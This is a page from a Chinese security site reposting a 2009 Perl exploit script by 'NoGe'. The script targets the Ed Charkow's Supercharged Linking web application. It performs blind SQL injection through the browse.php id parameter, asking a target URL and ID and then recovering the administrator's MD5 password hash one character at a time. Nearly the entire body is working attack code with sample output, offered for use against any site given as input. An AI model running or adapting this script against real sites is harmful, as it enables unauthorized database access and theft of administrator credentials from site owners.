首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ed Charkow's Supercharged Linking Blind SQL Injection Exploit
来源:http://evilc0de.blogspot.com 作者:NoGe 发布时间:2009-08-25  

#!/usr/bin/perl

#==========================================================================================#
#                                                                                          #
# [o] Ed Charkow's Supercharged Linking Blind SQL Injection Exploit                        #
#      Software   : Ed Charkow's Supercharged Linking                                      #
#      Buy Script : http://www.infodepot3000.com/Scripts/content/supercharged_linking.html #
#      Author     : NoGe                                                                   #
#      Contact    : noge[dot]code[at]gmail[dot]com                                         #
#      Blog       : http://evilc0de.blogspot.com                                           #
#                                                                                          #
# [o] Usage                                                                                #
#      root@noge:~# perl link.pl                                                           #
#                                                                                          #
#      [x]============================================================[x]                  #
#       | Ed Charkows Supercharged Linking Blind SQL Injection Exploit |                   #
#       |              [F]ound by NoGe [C]oded by Vrs-hCk              |                   #
#      [x]============================================================[x]                  #
#                                                                                          #
#      [+] URL Path : www.target.com/[path]                                                #
#      [+] Valid ID : 1                                                                    #
#                                                                                          #
#      [!] Exploiting http://www.target.com/[path]/ ...                                    #
#                                                                                          #
#      [+] SELECT password FROM admin LIMIT 0,1 ...                                        #
#      [+] md5@password> de9e3ae793d300ce7ee4742d4513cb06                                  #
#                                                                                          #
#      [!] Exploit completed.                                                              #
#                                                                                          #
#      root@noge:~#                                                                        #
#                                                                                          #
# [o] Greetz                                                                               #
#      MainHack BrotherHood [ http://mainhack.net ]                                        #
#      Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang aJe                                 #
#      H312Y yooogy mousekill }^-^{ loqsa zxvf martfella                                   #
#      skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke                                       #
#                                                                                          #
#==========================================================================================#

use HTTP::Request;
use LWP::UserAgent;

$cmsapp = 'crotz';
$vuln   = 'browse.php?id=';
$table  = 'admin';
$column = 'password';
$regexp = "No links for this category could be found";
$maxlen = 32;

my $OS = "$^O";
if ($OS eq 'MSWin32') { system("cls"); } else { system("clear"); }

printf "\n
                              $cmsapp
 [x]============================================================[x]
  | Ed Charkows Supercharged Linking Blind SQL Injection Exploit |
  |              [F]ound by NoGe [C]oded by Vrs-hCk              |
 [x]============================================================[x]

\n";

print "\n [+] URL Path : "; chomp($web=<STDIN>);
print " [+] Valid ID : "; chomp($id=<STDIN>);

if ($web =~ /http:\/\// ) { $target = $web."/"; } else { $target = "http://".$web."/"; }

print "\n\n [!] Exploiting $target ...\n\n";
&get_data;
print "\n\n [!] Exploit completed.\n\n";

sub get_data() {
 print " [+] SELECT $column FROM $table LIMIT 0,1 ...\n";
 syswrite(STDOUT, " [+] md5\@password> ", 20);
 for (my $i=1; $i<=$maxlen; $i++) {
  my $chr = 0;
  my $found = 0;
  my $char = 48;
  while (!$chr && $char<=57) {
   if(exploit($i,$char) !~ /$regexp/) {
    $chr = 1;
    $found = 1;
    syswrite(STDOUT,chr($char),1);
   } else { $found = 0; }
   $char++;
  }
  if(!$chr) {
   $char = 97;
   while(!$chr && $char<=122) {
    if(exploit($i,$char) !~ /$regexp/) {
     $chr = 1;
     $found = 1;
     syswrite(STDOUT,chr($char),1);
    } else { $found = 0; }
    $char++;
   }
  }
  if (!$found) {
   print "\n\n [!] Exploit completed.\n\n";
   exit;
  }
 }
}

sub exploit() {
 my $limit = $_[0];
 my $chars = $_[1];
 my $blind = '+and+substring((select+'.$column.'+from+'.$table.'+limit+0,1),'.$limit.',1)=char('.$chars.')';
 my $inject = $target.$vuln.$id.$blind;
 my $content = get_content($inject);
 return $content;
}

sub get_content() {
 my $url = $_[0];
 my $req = HTTP::Request->new(GET => $url);
 my $ua  = LWP::UserAgent->new();
 $ua->timeout(5);
 my $res = $ua->request($req);
 if ($res->is_error){
  print "\n\n [!] Error, ".$res->status_line.".\n\n";
  exit;
 }
 return $res->content;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel 2.4/2.6 sock_send
·Photodex ProShow Gold 4 (.psh
·Radix Antirootkit < 1.0.0.9 (S
·KSP 2006 FINAL ( .M3U) Univers
·Faslo Player 7.0 (.m3u) Local
·BlazeDVD 5.1 Professional (.PL
·Avast! 4.8.1335 Professional L
·Photodex ProShow Gold version
·Fat Player 0.6b (.wav File) Un
·Microsoft Scripting Runtime Ac
·WAR-FTPD 1.65 (MKD/CD Requests
·FreeBSD versions 6.1 and below
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved